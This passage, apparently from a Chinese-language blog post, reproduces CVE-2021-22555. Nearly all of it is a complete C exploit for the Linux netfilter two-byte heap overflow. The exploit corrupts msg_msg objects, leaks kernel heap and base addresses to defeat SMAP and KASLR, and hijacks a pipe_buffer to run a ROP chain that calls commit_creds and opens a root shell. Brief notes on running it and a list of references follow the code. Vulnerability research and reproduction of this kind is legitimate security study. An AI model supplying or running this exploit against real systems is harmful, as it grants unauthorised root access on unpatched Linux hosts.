371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
//compile exp: $ gcc -m32 -static -masm=intel -o exploit exploit.c
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>

// clang-format on
#define PAGE_SIZE 0x1000
#define PRIMARY_SIZE 0x1000
#define SECONDARY_SIZE 0x400

#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define NUM_PIPEFDS 256
#define NUM_MSQIDS 4096

#define HOLE_STEP 1024

#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x1337

#define MSG_TAG 0xAAAAAAAA

//Gadget
#define PUSH_RSI_JMP_RSI_0x2E 0xffffffff81b4e244
#define ADD_RSP_0x98_RET 0xffffffff81a7895e
#define POP_RSP_RET 0xffffffff81900644
#define POP_RDI_RET 0xffffffff81001629
#define INIT_CRED 0xffffffff8244c8a0
#define COMMIT_CREDS 0xffffffff8108e690
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00df0

#define ANON_PIPE_BUF_OPS 0xffffffff82019340

//pt_regs
size_t user_cs, user_ss, user_sp, user_eflags;


// clang-format on
#define SKB_SHARED_INFO_SIZE 0x140
#define MSG_MSG_SIZE (sizeof(struct msg_msg))
#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg))

//some struct
struct msg_msg {
uint64_t m_list_next;
uint64_t m_list_prev;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};

struct msg_msgseg {
uint64_t next;
};

struct pipe_buffer {
uint64_t page;
uint32_t offset;
uint32_t len;
uint64_t ops;
uint32_t flags;
uint32_t pad;
uint64_t private;
};

struct pipe_buf_operations {
uint64_t confirm;
uint64_t release;
uint64_t steal;
uint64_t get;
};

struct {
long mtype;
char mtext[PRIMARY_SIZE - MSG_MSG_SIZE];
} msg_primary;

struct {
long mtype;
char mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
} msg_secondary;

struct {
long mtype;
char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE];
} msg_fake;

void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
msg->m_list_next = m_list_next;
msg->m_list_prev = m_list_prev;
msg->m_type = MTYPE_FAKE;
msg->m_ts = m_ts;
msg->next = next;
msg->security = 0;
}

void getRootShell(void)
{
if (getuid())
{
printf("failed to gain the root!\n");
exit(0);
}
printf("\033[32m\033[1m[+] Succesfully gain the root privilege, trigerring root shell now...\033[0m\n");
system("/bin/sh");
}

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, esp;"
"pushf;"
"pop user_eflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}


int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
*(long *)msgp = msgtyp;
if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
perror("[-] msgsnd");
return -1;
}
return 0;
}

int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) <
0) {
perror("[-] msgrcv");
return -1;
}
return 0;
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
perror("[-] msgrcv");
return -1;
}
return 0;
}

int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], buf, size) < 0) {
perror("[-] write");
return -1;
}
}
}
return 0;
}

int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], buf, size) < 0) {
perror("[-] read");
return -1;
}
}
}
return 0;
}

int trigger_oob_write(int s) {
struct __attribute__((__packed__)) {
struct ipt_replace replace; // 0x60
struct ipt_entry entry; // 0x70
struct xt_entry_match match; // 0x20
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2]; // kvmalloc_size = sizeof(xt_table_info) + ipt_replace->size = 0x40 + (0xFB8 - 0x2) = 0xFF8 - 0x2
struct xt_entry_target target; // 0x20
} data = {0};

data.replace.num_counters = 1;
data.replace.num_entries = 1;
data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target)); // 0x70 + (0x108+0x1000-0x200-0x2) + 0x20 + 0x20 = 0xFB8 - 0x2

data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target)); // Size of ipt_entry + matches + target
data.entry.target_offset =
(sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad)); // Size of ipt_entry + matches

data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad)); // 0x20 + (0x108+0x1000-0x200-0x2) = 0xF28 - 0x2
strcpy(data.match.u.user.name, "icmp");
data.match.u.user.revision = 0;

data.target.u.user.target_size = sizeof(data.target); // 0x20
strcpy(data.target.u.user.name, "NFQUEUE");
data.target.u.user.revision = 1;
getchar();

// Partially overwrite the adjacent buffer with 2 bytes of zero.
if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
if (errno == ENOPROTOOPT) {
printf("[-] Error ip_tables module is not loaded.\n");
return -1;
}
}

return 0;
}


int setup_sandbox(void) {
if (unshare(CLONE_NEWUSER) < 0) {
perror("[-] unshare(CLONE_NEWUSER)");
return -1;
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
return -1;
}

//bind the cpu0
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
return -1;
}

return 0;
}

int main(int argc, char *argv[]) {
int s;
int fd;
int ss[NUM_SOCKETS][2];
int pipefd[NUM_PIPEFDS][2];
int msqid[NUM_MSQIDS];
uint64_t *rop_chain;

char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE];
char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE];

struct msg_msg *msg;
struct pipe_buf_operations *fake_pipe_buffer_ops;
struct pipe_buffer *fake_pipe_buffer;

uint64_t pipe_buffer_ops = 0;
uint64_t kheap_addr = 0, kbase_addr = 0, kernel_offset = 0;

int fake_idx = -1, real_idx = -1;
saveStatus();
printf("\033[32m\033[1m[+] STAGE 0: Initialization\033[0m\n");

printf("[*] Setting up namespace sandbox...\n");
if (setup_sandbox() < 0)
goto err_no_rmid;


printf("[*] Initializing sockets and message queues...\n");

if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("[-] socket");
goto err_no_rmid;
}

for (int i = 0; i < NUM_SOCKETS; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
perror("[-] socketpair");
goto err_no_rmid;
}
}
// 1. two bytes null write -> UAF
// 1-1. gain 4096 msg queue
for (int i = 0; i < NUM_MSQIDS; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror("[-] msgget");
goto err_no_rmid;
}
}

printf("\n");
printf("\033[32m\033[1m[+] STAGE 1: Memory corruption\033[0m\n");
//1-2. create 4096 primary msg —— size=0x1000
printf("[*] Spraying primary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_primary, '\xdd', 0x100);
*(int *)&msg_primary.mtext[0] = MSG_TAG;
*(int *)&msg_primary.mtext[4] = i;
if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) < 0)
goto err_rmid;
}
// 1-3. create 4096 secondary msg —— size=0x400
printf("[*] Spraying secondary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_secondary, 0, sizeof(msg_secondary));
*(int *)&msg_secondary.mtext[0] = MSG_TAG;
*(int *)&msg_secondary.mtext[4] = i;
if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;
}
// 1-4. release #1024/#2048/#3072 msg
printf("[*] Creating holes in primary messages...\n");
for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}
// 1-5. make xt_table_info struct take up the hole, and triger 2 bytes null write
printf("[*] Triggering out-of-bounds write...\n");
if (trigger_oob_write(s) < 0)
goto err_rmid;

// 1-6. find which msg is corrupted
printf("[*] Searching for corrupted primary message...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
if (i != 0 && (i % HOLE_STEP) == 0)
continue;
if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
goto err_no_rmid;
if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}
if (*(int *)&msg_secondary.mtext[4] != i) {
fake_idx = i;
real_idx = *(int *)&msg_secondary.mtext[4];
break;
}
}

if (fake_idx == -1 && real_idx == -1) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}

// fake_idx's primary message has a corrupted next pointer; wrongly pointing to real_idx's secondary message.
printf("[+] fake_idx: 0x%x\n", fake_idx);
printf("[+] real_idx: 0x%x\n", real_idx);

printf("\n");
printf("\033[32m\033[1m[+] STAGE 2: SMAP bypass\033[0m\n");
// 2. leak secondary msg address (kmalloc-0x400) -> to forge `msg_msg->m_list->next & prev`
// 2-1. free overlapped msg
printf("[*] Freeing real secondary message...\n");
if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;

// Reclaim the previously freed secondary message with a fake msg_msg of maximum possible size.
// 2-2. spray and forge msg_msg (forge larger msg_msg->m_ts)
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
PAGE_SIZE - MSG_MSG_SIZE, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
// 2-2. leak heap pointer `msg_msg->m_list->prev` (kmalloc-0x1000)
// Use the fake secondary message to read out-of-bounds.
printf("[*] Leaking adjacent secondary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;

// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
printf("[-] Error could not leak adjacent secondary message.\n");
goto err_rmid;
}

// The secondary message contains a pointer to the primary message.
msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (PRIMARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
printf("[+] kheap_addr: 0x%" PRIx64 "\n", kheap_addr);

if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {
printf("[-] Error kernel heap address is incorrect.\n");
goto err_rmid;
}
// 2-3. leak heap pointer `msg_msg->m_list->prev` (kmalloc-0x400) (forge msg_msg->next)
printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

// Put kheap_addr at next to leak its content. Assumes zero bytes before
// kheap_addr.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE); // fist 8 bytes must be NULL
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

// Use the fake secondary message to read from kheap_addr.
printf("[*] Leaking primary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;

// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
printf("[-] Error could not leak primary message.\n");
goto err_rmid;
}

// The primary message contains a pointer to the secondary message.
msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (SECONDARY_SIZE - 1))
kheap_addr = msg->m_list_prev;

// Calculate the address of the fake secondary message.
kheap_addr -= SECONDARY_SIZE;
printf("[+] kheap_addr: 0x%" PRIx64 "\n", kheap_addr);

if ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) {
printf("[-] Error kernel heap address is incorrect.\n");
goto err_rmid;
}
// 3. leak kernel base
printf("\n");
printf("\033[32m\033[1m[+] STAGE 3: KASLR bypass\033[0m\n");

printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

// 3-1. forge `msg_msg->m_list->next & prev` so that list_del() does not crash.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
// 3-2. free secondary msg
printf("[*] Freeing sk_buff data buffer...\n");
if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
goto err_rmid;
// 3-3. spray pipe_buffer object
printf("[*] Spraying pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[-] pipe");
goto err_rmid;
}
// Write something to populate pipe_buffer.
if (write(pipefd[i][1], "pwn", 3) < 0) {
perror("[-] write");
goto err_rmid;
}
}
// 3-4. leak pipe_buffer->ops —— kernel base
printf("[*] Leaking and freeing pipe_buffer object...\n");
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
perror("[-] read");
goto err_rmid;
}
if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
}
}
kernel_offset = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
kbase_addr = 0xffffffff81000000 + kernel_offset;
printf("[+] anon_pipe_buf_ops: 0x%" PRIx64 "\n", pipe_buffer_ops);
printf("[+] kbase_addr: 0x%" PRIx64 "\n", kbase_addr);

if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) {
printf("[-] Error kernel base address is incorrect.\n");
goto err_rmid;
}
// 4. hijack control-flow
printf("\n");
printf("\033[32m\033[1m[+] STAGE 4: Kernel code execution\033[0m\n");
// 4-1. use skb to forge fake pipe_buffer
printf("[*] Spraying fake pipe_buffer objects...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));

//hijack rsp
fake_pipe_buffer = (struct pipe_buffer *)&secondary_buf;
fake_pipe_buffer->ops = kheap_addr;

fake_pipe_buffer_ops = (struct pipe_buf_operations *)secondary_buf;
fake_pipe_buffer_ops->release = kernel_offset + PUSH_RSI_JMP_RSI_0x2E; //
fake_pipe_buffer_ops->confirm = kernel_offset + ADD_RSP_0x98_RET;

uint64_t *mid_gadget;
mid_gadget = (uint64_t*) (uint64_t*) &secondary_buf[0x2e];
mid_gadget[0] = kernel_offset + POP_RSP_RET;

// 4-2. construct ROP chain
//build rop
int rop_idx = 0;
rop_chain = (uint64_t*) &secondary_buf[0xa0];
rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET;
rop_chain[rop_idx++] = kernel_offset + INIT_CRED;
rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS;
rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22;
rop_chain[rop_idx++] = *(uint64_t*) "PIG007XX";
rop_chain[rop_idx++] = *(uint64_t*) "PIG007XX";
rop_chain[rop_idx++] = getRootShell;
rop_chain[rop_idx++] = user_cs;
rop_chain[rop_idx++] = user_eflags;
rop_chain[rop_idx++] = user_sp;
rop_chain[rop_idx++] = user_ss;


if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
// 4-3. trigger pipe_release()
printf("[*] Releasing pipe_buffer objects...\n");
printf("\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[-] close");
goto err_rmid;
}
if (close(pipefd[i][1]) < 0) {
perror("[-] close");
goto err_rmid;
}
}
return 0;

err_rmid:
for (int i = 0; i < NUM_MSQIDS; i++) {
if (i == fake_idx)
continue;
if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
perror("[-] msgctl");
}

err_no_rmid:
return 1;
}

效果:

中间有个getchar(),按下回车即可,本来放这是为了方便调试的。

image-20220515143144038

不行的话可以多尝试几次

然后逃逸容器的我没尝试,也不太会,可以参考arttnba3师傅的容器逃逸EXP

参考

CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)

【CVE.0x07】CVE-2021-22555 漏洞复现及简要分析 - arttnba3’s blog

CVE-2021-22555: Turning \x00\x00 into 10000$ | security-research (google.github.io)

太多了,有点贴不过来了….